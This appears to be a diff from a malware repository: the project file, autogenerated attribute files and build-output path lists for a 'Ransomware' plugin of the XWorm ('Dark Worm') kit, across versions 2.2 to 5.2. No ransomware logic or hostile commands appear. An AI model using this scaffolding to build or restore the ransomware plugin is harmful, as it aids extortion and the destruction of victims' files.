<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Diagnostics" />
<Import Include="System.Linq" />
<Import Include="System.Xml.Linq" />
<Import Include="System.Threading.Tasks" />
</ItemGroup>
<ItemGroup>
<Compile Include="Plugin.vb" />
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,7 @@
' <autogenerated/>
Option Strict Off
Option Explicit On
Imports System
Imports System.Reflection
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName:=".NET Framework 4")>
@@ -0,0 +1,7 @@
' <autogenerated/>
Option Strict Off
Option Explicit On
Imports System
Imports System.Reflection
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName:=".NET Framework 4.8")>
@@ -0,0 +1 @@
5247a7295c5e37e42fca44542a6a5358daa08b13b044aae4410846e93cac1ff4
@@ -0,0 +1,255 @@
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\bin\Debug\Ransomware.dll
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\bin\Debug\Ransomware.pdb
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\bin\Debug\Ransomware.xml
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\bin\Debug\System.Net.Http.dll
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\bin\Debug\System.Net.Http.xml
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\obj\Debug\Ransomware.Resources.resources
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.Cache
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\obj\Debug\Ransomware.dll
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\obj\Debug\Ransomware.xml
c:\users\laptop\documents\visual studio 2015\Projects\Ransomware\Ransomware\obj\Debug\Ransomware.pdb
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\bin\Debug\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\bin\Debug\Ransomware.pdb
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\bin\Debug\Ransomware.xml
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\bin\Debug\System.Net.Http.dll
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\bin\Debug\System.Net.Http.xml
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.Resources.resources
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.Cache
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V2.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\LapTop\Desktop\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.Resources.resources
C:\Users\LapTop\Desktop\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\LapTop\Desktop\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\LapTop\Desktop\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.Resources.resources
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\LapTop\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.Resources.resources
C:\Users\LapTop\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\LapTop\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\LapTop\Desktop\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\New folder\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\New folder\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\PC\Desktop\New folder\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.Resources.resources
C:\Users\PC\Desktop\New folder\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\New folder\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\New folder\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\PC\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\New folder (2)\XWorm V3.0 X64\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V3.0\XWorm V3.0\XWorm V3.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
